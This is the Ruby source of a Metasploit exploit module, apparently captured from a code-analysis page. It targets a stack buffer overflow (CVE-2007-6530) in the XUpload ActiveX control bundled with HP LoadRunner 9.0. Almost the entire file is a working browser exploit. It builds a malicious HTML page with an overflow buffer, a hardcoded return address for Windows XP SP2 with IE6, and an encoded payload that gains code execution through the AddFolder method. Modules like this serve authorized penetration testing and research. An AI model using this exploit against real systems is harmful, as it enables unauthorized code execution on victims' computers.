modules/exploits/windows/browser/hp_loadrunner_addfolder.rb from rapid7/metasploit-framework

modules/exploits/windows/browser/hp_loadrunner_addfolder.rb
Summary

Maintainability

2 hrs
Test Coverage

Issues
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP LoadRunner 9.0 ActiveX AddFolder Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Persits Software Inc's
        XUpload ActiveX control(version 2.1.0.1) thats included in HP LoadRunner 9.0.
        By passing an overly long string to the AddFolder method, an attacker may be
        able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-6530'],
          [ 'OSVDB', '39901'],
          [ 'BID', '27025' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 800,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP2 Pro English / IE6SP0-SP2',     { 'Offset' => 1388, 'Ret' => 0x323ad95f } ], # PocoNet.dll
        ],
      'DisclosureDate' => '2007-12-25',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname    = rand_text_alpha(rand(100) + 1)
    strname    = rand_text_alpha(rand(100) + 1)

    # Set the exploit buffer
    sploit =  rand_text_alpha(target['Offset']) + [target.ret].pack('V')
    sploit << p.encoded + rand_text_alpha(1024 - p.encoded.length)

    # Build out the message
    content = %Q|<html>
<object classid='clsid:E87F6C8E-16C0-11D3-BEF7-009027438003' id='#{vname}'></object>
<script language='javascript'>
#{strname} = new String('#{sploit}')
#{vname}.AddFolder(#{strname});
</script>
</html>
|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end